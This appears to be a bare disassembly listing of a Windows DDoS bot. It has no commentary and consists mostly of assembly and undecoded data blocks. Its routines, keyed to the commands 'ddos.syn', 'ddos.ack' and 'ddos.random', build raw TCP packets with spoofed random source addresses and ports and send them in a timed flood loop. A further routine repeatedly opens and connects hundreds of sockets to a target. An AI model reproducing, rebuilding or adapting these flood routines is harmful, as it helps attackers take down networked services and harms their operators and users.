dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
dd 0FF8915E8h, 565959FFh, 2BD4FBE8h, 5E5F9002h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B08 proc near ; CODE XREF: ___:00412E7Fp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CAEE4
test eax, eax
jz short loc_412B48
xor eax, eax
jmp loc_412E3B
; ---------------------------------------------------------------------------
loc_412B48: ; CODE XREF: sub_412B08+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB018
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_412E33
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CAF54
cmp eax, 0FFFFFFFFh
jz loc_412E29
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CAF74
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CAF74
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CAF74
mov [ebp+var_12], ax
call sub_41B8E2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CAF74
push 12345678h
mov [ebp+var_14], ax
call dword_4CAF70
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C18
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C18: ; CODE XREF: sub_412B08+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C34
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C34: ; CODE XREF: sub_412B08+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C6C
call sub_41B8E2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41B8E2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_412C6C: ; CODE XREF: sub_412B08+10Ej
; sub_412B08+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CAF74
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call near ptr 2770A09h
nop
lea eax, [ebp+var_1C]
push eax
call near ptr 277079Fh
nop
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41D280
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_412CBA: ; CODE XREF: sub_412B08+2E2j
; sub_412B08+2F0j
mov [ebp+var_4], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CAF74
mov [ebp+var_14], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CAF74
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CAF70
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CAF74
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC68
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC68
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CAFD8
cmp eax, 0FFFFFFFFh
jz short loc_412DFD
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 277079Fh
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_412E26
jl loc_412CBA
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_412E26
jmp loc_412CBA
; ---------------------------------------------------------------------------
loc_412DFD: ; CODE XREF: sub_412B08+2CBj
call dword_4CAF08
push eax
lea eax, [ebp+var_F4]
push offset dword_435B1C
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AC
add esp, 10h
jmp short loc_412E29
; ---------------------------------------------------------------------------
loc_412E26: ; CODE XREF: sub_412B08+2E0j
; sub_412B08+2EEj
mov ebx, [ebp+arg_8]
loc_412E29: ; CODE XREF: sub_412B08+78j
; sub_412B08+31Cj
push [ebp+var_20]
call dword_4CB00C
pop esi
loc_412E33: ; CODE XREF: sub_412B08+5Bj
call dword_4CAECC
mov eax, ebx
loc_412E3B: ; CODE XREF: sub_412B08+3Bj
pop edi
pop ebx
leave
retn
sub_412B08 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+24h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_412B08
add esp, 20h
test eax, eax
jnz short loc_412E8E
push 1
pop eax
loc_412E8E: ; CODE XREF: ___:00412E89j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o
dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h
dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h
dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h
dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h
dd 5057026Ah, 0FFF45D89h, 4CAF5415h
db 0, 83h
word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o
dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h
dd 5959FFFFh, 51E89057h, 8D022BD0h, 0FFFE4885h, 15FF50FFh
dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh, 856EE850h
dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h
dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h
dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h
dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h
dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
dd 0FF022BCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+550Fo
dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh
dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h
dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h
dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
dd 59FFFF80h, 0E8905359h, 22BCBF0h
dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+575Bo
dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 7BE89000h
dd 500226D8h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h
dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh
dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2BCB13E8h, 408B9002h
dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h
dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h
dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h
dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h
dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0CE15E890h
dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h
dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h
dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h
dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh
dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
dd 575959FFh, 0C9DAE890h
db 2Bh, 2
word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h
dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh
dd 0C93EE856h, 5F90022Bh
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4136C5 proc near ; CODE XREF: ___:004137AEp
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CAF74
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413783
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413710: ; CODE XREF: sub_4136C5+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_413718: ; CODE XREF: sub_4136C5+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41373B
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_41373B: ; CODE XREF: sub_4136C5+64j
add esi, 4
dec ebx
jnz short loc_413718
lea esi, [ebp+var_654]
mov ebx, edi
loc_413749: ; CODE XREF: sub_4136C5+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call near ptr 71AB3E5Dh
nop
add esi, 4
dec ebx
jnz short loc_413749
push 64h
call near ptr 26703BBh
nop
lea esi, [ebp+var_654]
mov ebx, edi
loc_41376D: ; CODE XREF: sub_4136C5+B4j
push dword ptr [esi]
nop
call near ptr 71AB1A6Dh
add esi, 4
dec ebx
jnz short loc_41376D
dec [ebp+arg_4]
jnz short loc_413710
pop edi
pop esi
pop ebx
loc_413783: ; CODE XREF: sub_4136C5+3Ej
xor eax, eax
leave
retn
sub_4136C5 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov edi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov esi, eax
push esi
push ebx
push edi
call sub_4136C5
add esp, 18h
test eax, eax
jnz short loc_4137BD
push 1
pop eax
loc_4137BD: ; CODE XREF: ___:004137B8j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: sub_401ACD+6449o
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41386B proc near ; CODE XREF: ___:00413B59p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CAEE4
test eax, eax
jz short loc_4138AB
xor eax, eax
jmp loc_413B19
; ---------------------------------------------------------------------------
loc_4138AB: ; CODE XREF: sub_41386B+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB018
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_413B11
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CAF54
cmp eax, 0FFFFFFFFh
jz loc_413B07
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CAF74
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CAF74
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CAF74
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CAF74
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2770A09h
lea eax, [ebp+var_8]
push eax
call near ptr 277079Fh
nop
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41D280
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413996: ; CODE XREF: sub_41386B+25Dj
; sub_41386B+26Bj
mov [ebp+var_24], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CAF74
mov [ebp+var_34], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CAF74
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CAF70
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CAF74
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC68
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC68
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CAFD8
cmp eax, 0FFFFFFFFh
jz short loc_413ADB
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 277079Fh
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_413B04
jl loc_413996
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_413B04
jmp loc_413996
; ---------------------------------------------------------------------------
loc_413ADB: ; CODE XREF: sub_41386B+247j
call dword_4CAF08
push eax
lea eax, [ebp+var_F4]
push offset dword_435D44
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AC
add esp, 10h
jmp short loc_413B07
; ---------------------------------------------------------------------------
loc_413B04: ; CODE XREF: sub_41386B+25Bj
; sub_41386B+269j
mov ebx, [ebp+arg_8]
loc_413B07: ; CODE XREF: sub_41386B+78j
; sub_41386B+297j
push [ebp+var_C]
call dword_4CB00C
pop esi
loc_413B11: ; CODE XREF: sub_41386B+5Bj
call dword_4CAECC
mov eax, ebx
loc_413B19: ; CODE XREF: sub_41386B+3Bj
pop edi
pop ebx
leave
retn
sub_41386B endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_41386B
add esp, 1Ch
test eax, eax
jnz short loc_413B68
push 1
pop eax
loc_413B68: ; CODE XREF: ___:00413B63j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh
dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
dd 3E8F075h, 59FFFF78h, 0E8905659h, 22BC3E8h, 8B555E5Fh
dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah
dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h
dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h
dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
